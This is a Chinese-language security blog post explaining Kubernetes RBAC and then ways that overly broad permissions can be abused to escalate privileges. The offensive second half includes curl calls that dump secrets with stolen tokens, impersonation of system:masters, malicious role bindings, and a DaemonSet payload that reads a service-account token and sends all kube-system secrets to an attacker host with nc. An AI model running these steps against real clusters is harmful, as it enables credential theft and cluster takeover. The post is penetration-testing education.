K8s提權之RBAC許可權濫用

語言: CN / TW / HK

本文首發於火線Zone:https://zone.huoxian.cn/?sort=newest

作者:今天R了嗎

在K8s中RBAC是常用的授權模式,如果在配置RBAC時分配了“過大”資源物件訪問許可權可導致許可權濫用來提權,以至於攻擊者擴大戰果,滲透叢集。

如下是一些RBAC相關的筆記。

k8s的RBAC

RBAC - 基於角色的訪問控制。

RBAC使用rbac.authorization.k8s.io API Group 來實現授權決策,允許管理員通過 Kubernetes API 動態配置策略,要啟用RBAC,需要在 apiserver 中新增引數--authorization-mode=RBAC,如果使用的kubeadm安裝的叢集,1.6 版本以上的都預設開啟了RBAC: cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode" 1655368658-293387-image

RBAC相關物件

K8s所有的資源物件都是模型化的API物件,允許執行CRUD,RBAC也有相關API物件,像Role、ClusterRole物件都是K8s內部的 API 資源,可以使用kubectl相關的命令來進行操作:

  • RoleClusterRole:角色和叢集角色,這兩個物件都包含上面的 Rules 元素,二者的區別在於,在 Role 中,定義的規則只適用於單個名稱空間,也就是和 namespace 關聯的,而 ClusterRole 是叢集範圍內的,因此定義的規則不受名稱空間的約束。
  • RoleBindingClusterRoleBinding:角色繫結和叢集角色繫結,簡單來說就是把宣告的 Subject 和我們的 Role 進行繫結的過程(給某個使用者繫結上操作的許可權),二者的區別也是作用範圍的區別:RoleBinding 只會影響到當前 namespace 下面的資源操作許可權,而 ClusterRoleBinding 會影響到所有的 namespace。

舉一些RBAC使用的例子。

建立一個只能訪問固定namespace的的hx使用者

1.新建立一個使用者憑證

給hx使用者建立一個私鑰:

openssl genrsa -out hx.key 2048

再使用這個私鑰建立一個證書籤名請求檔案,-subj引數後是使用者名稱和組(CN表示使用者名稱,O表示組):

openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"

然後再使用K8s的CA證書來批准上面的證書請求: 1655368756-280293-image 這時候證書檔案生成成功:

$ ls h*                                                                                                              ─╯
hx.crt  hx.csr  hx.key

現在使用建立的證書和私鑰來在叢集中建立新的憑證和上下文(Context):

sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key 1655368774-478239-image 為hx使用者設定新的 Context:

$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx                  ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-role
  namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
  resources: ["deployments", "replicasets", "pods"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']

其中幾個重要的欄位:

  • apiGroups:其中的apiGroups: ["", "extensions", "apps"]為什麼這麼寫?是因為通過https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文件查詢得知,Pod屬於 core API Group(為空即可),Deployment屬於 apps API Group,ReplicaSets屬於extensionsAPI Group。

  • verbs:可以對這些資源物件執行的操作,如果是所有操作就用*代替。

建立hx-role這個Role: 1655368799-776330-image

2.建立角色許可權繫結

將hx使用者和這個role繫結起來:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: hx-rolebinding
  namespace: kube-system
subjects:
- kind: User
  name: hx
  apiGroup: ""
roleRef:
  kind: Role
  name: hx-role
  apiGroup: ""

1655369676-913803-image

Subject欄位是主題,對應在叢集中嘗試操作的物件,叢集中定義了3種類型的主題資源:

  • User Account:使用者,這是有外部獨立服務進行管理的,管理員進行私鑰的分配,使用者可以使用 KeyStone或者 Goolge 帳號,甚至一個使用者名稱和密碼的檔案列表也可以。對於使用者的管理叢集內部沒有一個關聯的資源物件,所以使用者不能通過叢集內部的 API 來進行管理
  • Group:組,這是用來關聯多個賬戶的,叢集中有一些預設建立的組,比如cluster-admin
  • Service Account:服務帳號,通過Kubernetes API 來管理的一些使用者帳號,和 namespace 進行關聯的,適用於叢集內部執行的應用程式,需要通過 API 來完成許可權認證,所以在叢集內部進行許可權操作,我們都需要使用到 ServiceAccount,這也是我們這節課的重點

現在使用hx使用者來操作叢集資源,這個時候不需要指定namespace,因為已經給使用者分配了許可權:

sudo kubectl get pods --context=hx-context

1655369689-712432-image

建立一個只能訪問固定namespace的的hx-sa的ServiceAccount

Subject欄位還可以是ServiceAccount,對ServiceAccount來進行角色繫結。

1.建立一個ServiceAccount物件

sudo kubectl create sa hx-sa -n kube-system

2.建立角色

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: hx-sa-role
  namespace: kube-system
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]

1655369785-171569-image

3.建立角色繫結

kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: hx-sa-rolebinding
  namespace: kube-system
subjects:
- kind: ServiceAccount
  name: hx-sa
  namespace: kube-system
roleRef:
  kind: Role
  name: hx-sa-role
  apiGroup: rbac.authorization.k8s.io

1655369801-701896-image

這時候可以使用sa賬戶的token去訪問apiserver的資源了:

sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d

1655369817-921180-image

建立ClusterRoleBinding

如果需要建立一個可以訪問所有namespace的角色,就可以使用ClusterRole 和 ClusterRoleBinding 這兩種資源物件了。

sa:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: hx-sa2
  namespace: kube-system

ClusterRoleBinding 物件:

kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
  name: hx-sa2
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

這裡是直接使用的cluster-admin 這個物件(Kubernetes叢集內建的 ClusterRole 物件)而不是單獨新建的ClusterRole物件。內建的叢集角色和叢集角色繫結都可以檢視

kubectl get clusterrole
kubectl get clusterrolebinding

1655369837-205098-image

RBAC許可權濫用提權

許可權濫用主要在對特定資源有特定操作的情況下,可以有特定的許可權提升。 對哪裡資源有哪些操作許可權通過上面已經說了,看rules的欄位內容即可,配置resourcesverbs都為*那不用說,所有資源都可以進行任意操作。 1655370048-491869-image

列舉當前RBAC許可權

在指定當前通過滲透得到使用者憑據或者sa的憑據後,可以先列舉當前有哪些許可權:

[upl-1655370316-853476-image

1655372400-914302-image

也可以使用curl對apiserver的api進行訪問來區別當前的許可權: 1655371873-47175-image

列舉之後應該對當前憑據對資源的操作有個數了,下面列舉在分配許可權時,哪些情況下有提權提升的可能。

create pods許可權

resources: ["*"] verbs: ["create"]resources為*或者為pods的情況下,verbs是create,在叢集中可以建立任意資源,比如像pods,roles.而建立pods的名稱空間也取決你role中metadata.namespace的值: 1655370509-489699-image

如果有create許可權,常見攻擊手法就是建立掛載根目錄的pod,跳到node: 1655372021-455993-image

list secrets許可權

resources: ["*"] verbs: ["list"]resources為*或者為secrets的情況下,verbs是list,在叢集中可以列出其他user的secrets,一般拿來尋找特權賬號憑據。

具有list許可權或者說是list secrets許可權的role可以列出叢集中重要的secrets,包括管理的keys(JWT): 1655370645-704606-image

利用: curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret許可權

resources: ["*"] verbs: ["get"]: resources為*或者為secrets的情況下,verbs是get,get可以在叢集中獲得其他service accounts的secrets。

如下定義Role的resources欄位為*或者secrets物件,並且verbs為get,這時候有許可權獲得其他secrets。 1655370732-343714-image get許可權能訪問的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一樣,get需要知道secrets的id才能讀: 1655370753-639383-image 圖出處:list和get來竊取憑據的區別:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

這時候用讀secrets來攻擊的話常見手法是讀預設的sa的token,預設有這些sa: 1655370867-76480-image 對應的token:

kubectl -n kube-system get secret -n kube-system

1655370890-300354-image 可以看到每個sa的token都是sa的name-token-隨機五個字元,

其中隨機的字元是由數字和字母組合,特定的27個字元:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:# 1655370903-971151-image 27的5次方也是14,348,907可能,寫個py指令碼的迭代器爆破即可: 1655370950-280471-image

get list watch secrets許可權

resources: ["*"] verbs: ["get","list","watch"]:resources欄位為*或者secrets的話可以利用這三個許可權,來建立一個惡意pod後通過掛載secrets以至獲取別人的secrets,然後外帶:

1655371003-703490-image

1655371029-29189-image

這裡使用automountServiceAccountToken將特權服務帳戶的令牌掛載到 pod,使用令牌獲取拿到所有secrets後用nc傳到攻擊者監聽埠,當前也可以使用其他方式帶外: 1655371040-16623-image 圖出處,建立一個"hot pod"來竊取憑據:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate許可權

使用者可以通過模擬標頭充當另一個使用者。這些讓請求手動覆蓋請求身份驗證的使用者資訊。例如,管理員可以使用此功能通過臨時模擬另一個使用者並檢視請求是否被拒絕來除錯授權策略。

以下 HTTP 標頭可用於執行模擬請求:

  • Impersonate-User:要充當的使用者名稱。
  • Impersonate-Group:要充當的組名。可以多次提供設定多個組。可選的。需要“模擬使用者”。
  • Impersonate-Extra-( extra name ):用於將額外欄位與使用者關聯的動態標題。可選的。需要“模擬使用者”。
  • Impersonate-Uid:代表被模擬使用者的唯一識別符號。可選的。需要“模擬使用者”。Kubernetes 對此字串沒有任何格式要求。

有了Impersonate許可權攻擊者可以模擬一個有特權的賬戶或者組: Role: 1655371467-38911-image

binding:

1655371484-244657-image

模擬使用者的操作是通過呼叫K8s API 的Header來指定的,kubectl可以加入--as引數:

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

請求apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

其他API資源物件的create許可權濫用

如果當前Role的許可權,是其他API物件的建立,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs等,都是可以進行建立然後在containers.args欄位加入執行的e惡意命令:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

其他建立pod的方法具體可以檢視pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates

Bind許可權

用有bind許可權允許使用者將高角色繫結到當前已經被控制的帳戶導致許可權提權。

下面的ClusterRole使用了bind許可權,允許使用者建立一個與管理ClusterRole(預設的高特權角色)的RoleBinding,並新增任何使用者,包括自己,到這個管理ClusterRole: 1655372141-119401-image

那麼就有可能創造出惡意角色binging,它將管理員角色繫結到現在已經被控制的帳戶: 1655372177-891382-image

使用kubectl指定token或者curl到apiserver來完成繫結:

curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \ 
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
 -d @malicious-RoleBinging.json

然後當前賬戶就是高許可權角色,自然可以列出secret等:

curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret